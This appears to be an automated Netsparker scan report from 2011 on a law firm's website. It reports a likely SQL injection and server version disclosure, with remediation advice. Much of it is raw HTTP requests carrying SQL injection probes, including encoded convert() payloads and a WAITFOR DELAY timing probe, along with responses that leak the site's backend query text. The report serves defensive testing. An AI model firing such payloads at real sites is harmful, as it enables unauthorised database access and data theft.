SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Even though Netsparker believes that there is a SQL Injection in here it could not confirm it. There can be numerous reasons for Netsparker not being able to confirm this. We strongly recommend investigating the issue manually to ensure that it is an SQL Injection and that it needs to be addressed. You can also consider sending the details of this issue to us, in order that we can address this issue for the next time and give you a more precise result.
Impact
Depending on the backend database, database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
Reading, Updating and Deleting arbitrary data from the database
Executing commands on the underlying operating system
Reading, Updating and Deleting arbitrary tables from the database
Actions to Take
See the remedy for solution.
If you are not using a database access layer (DAL) within the architecture consider its benefits and implement if appropriate. As a minimum the use of s DAL will help centralize the issue and its resolution. You can also use an ORM (object relational mapping). Most ORM systems use parameterized queries and this can solve many if not all SQL Injection based problems.
Locate all of the dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM, change all legacy code to use these new libraries)
Monitor and review weblogs and application logs in order to uncover active or previous exploitation attempts.
Remedy
A very robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.
Required Skills for Successful Exploitation
There are numerous freely available tools to test for SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.
'+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
Keywords
GET
3
BondID
GET
3
Request
GET /bonds.php?page='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&Keywords=3&BondID=3 HTTP/1.1 Referer: http://www.peckshaffer.com/bonds.php?page=news User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: www.peckshaffer.com Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Date: Thu, 12 May 2011 16:47:41 GMT Server: Apache/2.0.46 (Red Hat) X-Powered-By: PHP/4.4.2 Content-Length: 500 Connection: close Content-Type: text/html; charset=UTF-8
<!-- Bonds : Start -->
error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR | 1064<BR>sql: SELECT DISTINCT(AboutusID) FROM aboutus WHERE IsActive='y' AND AboutusTitle LIKE 'bond '+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' LIMIT 1
'+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
Request
GET /bonds.php?page='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B' HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: www.peckshaffer.com Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Date: Thu, 12 May 2011 16:47:43 GMT Server: Apache/2.0.46 (Red Hat) X-Powered-By: PHP/4.4.2 Content-Length: 500 Connection: close Content-Type: text/html; charset=UTF-8
<!-- Bonds : Start -->
error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR | 1064<BR>sql: SELECT DISTINCT(AboutusID) FROM aboutus WHERE IsActive='y' AND AboutusTitle LIKE 'bond '+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' LIMIT 1
'+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
Keywords
GET
3
Request
GET /bonds.php?page='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&Keywords=3 HTTP/1.1 Referer: http://www.peckshaffer.com/bonds.php?page=news User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: www.peckshaffer.com Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Date: Thu, 12 May 2011 16:47:46 GMT Server: Apache/2.0.46 (Red Hat) X-Powered-By: PHP/4.4.2 Content-Length: 500 Connection: close Content-Type: text/html; charset=UTF-8
<!-- Bonds : Start -->
error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR | 1064<BR>sql: SELECT DISTINCT(AboutusID) FROM aboutus WHERE IsActive='y' AND AboutusTitle LIKE 'bond '+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' LIMIT 1
'+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
BondID
GET
3
Request
GET /bonds.php?page=news&Keywords='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&BondID=3 HTTP/1.1 Referer: http://www.peckshaffer.com/bonds.php?page=news User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: www.peckshaffer.com Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Date: Thu, 12 May 2011 16:48:14 GMT Server: Apache/2.0.46 (Red Hat) X-Powered-By: PHP/4.4.2 Content-Length: 5869 Connection: close Content-Type: text/html; charset=UTF-8
<!-- Bonds : Start -->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/2000/REC-xhtml1-20000126/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" > <head>
<title>bonds : Peck Shaffer </title>
<meta name="keywords" content="Public
Finance
Tax
Exempt
Municipal
Attorney
Peck
Shaffer
Bond
Law
Housing
Underwriter
School
Sewer
Water
Merchant
Leasing
Health Care
Economic
Stadium
Bank
Trustee
Nonprofit
Rebate
Arbitrage Rebate" /> <meta name="description" content="Peck Shaffer is a national leader in municipal finance law, serving as bond, underwriter and bank counsel on tax-exempt financings." />
<!-- Nav : End --> error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1 | 1064<BR>sql: SELECT WordID FROM _search_words WHERE Word LIKE '%'+%'
Netsparker identified that the target web server is an Apache server. This was disclosed through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.
Impact
An attacker can search for specific security vulnerabilities for the version of Apache identified within the SERVER header.
Remedy
Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
GET /bonds.php?page=news HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: www.peckshaffer.com Accept-Encoding: gzip, deflate Connection: Keep-Alive
Response
HTTP/1.1 200 OK Date: Thu, 12 May 2011 16:47:24 GMT Server: Apache/2.0.46 (Red Hat) X-Powered-By: PHP/4.4.2 Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
<!-- Bonds : Start -->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/2000/REC-xhtml1-20000126/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" > <head>
<title>bonds : Peck Shaffer </title>
<meta name="keywords" content="Public
Finance
Tax
Exempt
Municipal
Attorney
Peck
Shaffer
Bond
Law
Housing
Underwriter
School
Sewer
Water
Merchant
Leasing
Health Care
Economic
Stadium
Bank
Trustee
Nonprofit
Rebate
Arbitrage Rebate" /> <meta name="description" content="Peck Shaffer is a national leader in municipal finance law, serving as bond, underwriter and bank counsel on tax-exempt financings." />
<a name="News"></a> <h5>News</h5> <div class="Items"> <h6><a href="/bonds.php?NewsID=138&page=news" title="New National Bond Financing Program for Catholic Educational Institutions through the Colorado Educational and Cultural Facilities Authority">New National Bond Financing Program for Catholic Educational Institutions through the Colorado Educational and Cultural Facilities Authority</a></h6>
<span>2/4/2011</span>
</div> <div class="Items"> <h6><a href="/bonds.php?NewsID=137&page=news" title="Housing Bonds Not Affected by Sunset for Exceptions for Federal Guarantees and AMT Exclusions">Housing Bonds Not Affected by Sunset for Exceptions for Federal Guarantees and AMT Exclusions</a></h6>
<span>12/22/2010</span>
</div> <div class="Items"> <h6><a href="/bonds.php?NewsID=136&page=news" title="Tax Bill Signed – But Several Muni Finance Provisions Not Extended">Tax Bill Signed – But Several Muni Finance Provisions Not Extended</a></h6>
<span>12/20/2010</span>
</div> <div class="Items"> <h6><a href="/bonds.php?NewsID=135&page=news" title="Peck Shaffer Participates in Three Bond Buyer Deals of the Year">Peck Shaffer Participates in Three Bond Buyer Deals of the Year</a></h6>
<span>12/15/2010</span>
</div> <div class="Items"> <h6><a href="/bonds.php?NewsID=131&page=news" title="Reminder: New SEC Amendments Effective December 1, 2010">Reminder: New SEC Amendments Effective December 1, 2010</a></h6>
<span>11/12/2010</span>
</div> <div class="Items"> <h6><a href="/bonds.php?NewsID=134&page=news" title=""Issue Date" of Draw-Down Loans">"Issue Date" of Draw-Down Loans</a></h6>
<span>11/30/2010</span>
</div> <div class="Items"> <h6><a href="/bonds.php?NewsID=130&page=news" title="SEC Begins Securing Civil Penalties Against Individual Municipal Officials for Misleading Financial Disclosures">SEC Begins Securing Civil Penalties Against Individual Municipal Officials for Misleading Financial Disclosures</a></h6>
<span>11/5/2010</span>
</div> <div class="Items"> <h6><a href="/bonds.php?NewsID=126&page=news" title="Decades-old Program Gains New Life">Decades-old Program Gains New Life</a></h6>
<span>10/10/2010</span>
</div> <div class="Items"> <h6><a href="/bonds.php?NewsID=125&page=news" title="Increased Internal Revenue Service Scrutiny of Build America Bonds De Minimis Premium Rule">Increased Internal Revenue Service Scrutiny of Build America Bonds De Minimis Premium Rule</a></h6>
<span>10/7/2010</span>
</div> <div class="Items"> <h6><a href="/bonds.php?NewsID=122&page=news" title="AMENDMENT 60, AMENDMENT 61 AND PROPOSITION 101 - Cause for Fiscal Uncertainty in Colorado's Future">AMENDMENT 60, AMENDMENT 61 AND PROPOSITION 101 - Cause for Fiscal Uncertainty in Colorado's Future</a></h6>
<span>7/9/2010</span>
</div> <div class="Items"> <h6><a href="/bonds.php?NewsID=120&page=news" title="SEC Amendments to Rule 15c2-12">SEC Amendments to Rule 15c2-12</a></h6>
Netsparker identified that the target web server is disclosing the PHP version in use through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of PHP.
Impact
An attacker can look for specific security vulnerabilities for the version identified. Also the attacker can use this information in conjunction with the other vulnerabilities in the application or the web server.
GET /bonds.php?page=news HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: www.peckshaffer.com Accept-Encoding: gzip, deflate Connection: Keep-Alive
Response
HTTP/1.1 200 OK Date: Thu, 12 May 2011 16:47:24 GMT Server: Apache/2.0.46 (Red Hat) X-Powered-By: PHP/4.4.2 Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
<!-- Bonds : Start -->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/2000/REC-xhtml1-20000126/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" > <head>
<title>bonds : Peck Shaffer </title>
<meta name="keywords" content="Public
Finance
Tax
Exempt
Municipal
Attorney
Peck
Shaffer
Bond
Law
Housing
Underwriter
School
Sewer
Water
Merchant
Leasing
Health Care
Economic
Stadium
Bank
Trustee
Nonprofit
Rebate
Arbitrage Rebate" /> <meta name="description" content="Peck Shaffer is a national leader in municipal finance law, serving as bond, underwriter and bank counsel on tax-exempt financings." />
<a name="News"></a> <h5>News</h5> <div class="Items"> <h6><a href="/bonds.php?NewsID=138&page=news" title="New National Bond Financing Program for Catholic Educational Institutions through the Colorado Educational and Cultural Facilities Authority">New National Bond Financing Program for Catholic Educational Institutions through the Colorado Educational and Cultural Facilities Authority</a></h6>
<span>2/4/2011</span>
</div> <div class="Items"> <h6><a href="/bonds.php?NewsID=137&page=news" title="Housing Bonds Not Affected by Sunset for Exceptions for Federal Guarantees and AMT Exclusions">Housing Bonds Not Affected by Sunset for Exceptions for Federal Guarantees and AMT Exclusions</a></h6>
<span>12/22/2010</span>
</div> <div class="Items"> <h6><a href="/bonds.php?NewsID=136&page=news" title="Tax Bill Signed – But Several Muni Finance Provisions Not Extended">Tax Bill Signed – But Several Muni Finance Provisions Not Extended</a></h6>
<span>12/20/2010</span>
</div> <div class="Items"> <h6><a href="/bonds.php?NewsID=135&page=news" title="Peck Shaffer Participates in Three Bond Buyer Deals of the Year">Peck Shaffer Participates in Three Bond Buyer Deals of the Year</a></h6>
<span>12/15/2010</span>
</div> <div class="Items"> <h6><a href="/bonds.php?NewsID=131&page=news" title="Reminder: New SEC Amendments Effective December 1, 2010">Reminder: New SEC Amendments Effective December 1, 2010</a></h6>
<span>11/12/2010</span>
</div> <div class="Items"> <h6><a href="/bonds.php?NewsID=134&page=news" title=""Issue Date" of Draw-Down Loans">"Issue Date" of Draw-Down Loans</a></h6>
<span>11/30/2010</span>
</div> <div class="Items"> <h6><a href="/bonds.php?NewsID=130&page=news" title="SEC Begins Securing Civil Penalties Against Individual Municipal Officials for Misleading Financial Disclosures">SEC Begins Securing Civil Penalties Against Individual Municipal Officials for Misleading Financial Disclosures</a></h6>
<span>11/5/2010</span>
</div> <div class="Items"> <h6><a href="/bonds.php?NewsID=126&page=news" title="Decades-old Program Gains New Life">Decades-old Program Gains New Life</a></h6>
<span>10/10/2010</span>
</div> <div class="Items"> <h6><a href="/bonds.php?NewsID=125&page=news" title="Increased Internal Revenue Service Scrutiny of Build America Bonds De Minimis Premium Rule">Increased Internal Revenue Service Scrutiny of Build America Bonds De Minimis Premium Rule</a></h6>
<span>10/7/2010</span>
</div> <div class="Items"> <h6><a href="/bonds.php?NewsID=122&page=news" title="AMENDMENT 60, AMENDMENT 61 AND PROPOSITION 101 - Cause for Fiscal Uncertainty in Colorado's Future">AMENDMENT 60, AMENDMENT 61 AND PROPOSITION 101 - Cause for Fiscal Uncertainty in Colorado's Future</a></h6>
<span>7/9/2010</span>
</div> <div class="Items"> <h6><a href="/bonds.php?NewsID=120&page=news" title="SEC Amendments to Rule 15c2-12">SEC Amendments to Rule 15c2-12</a></h6>
The error message may disclose sensitive information and this information can be used by an attacker to mount new attacks or to enlarge the attack surface. In rare conditions this may be a clue for an SQL Injection vulnerability. Most of the time Netsparker will detect and report that problem separately.
Remedy
Do not provide any error messages on production environments. Save error messages with a reference number to a backend storage such as a text file or database, then show this number and a static user-friendly error message to the user.
GET /bonds.php?page=%27;WAITFOR%20DELAY%20%270:0:25%27-- HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: www.peckshaffer.com Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Date: Thu, 12 May 2011 16:47:38 GMT Server: Apache/2.0.46 (Red Hat) X-Powered-By: PHP/4.4.2 Content-Length: 359 Connection: close Content-Type: text/html; charset=UTF-8
<!-- Bonds : Start -->
error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ';WAITFOR DELAY '0:0:25'--' LIMIT 1' at line 1 | 1064<BR>sql: SELECT DISTINCT(AboutusID) FROM aboutus WHERE IsActive='y' AND AboutusTitle LIKE 'bond ';WAITFOR DELAY '0:0:25'--' LIMIT 1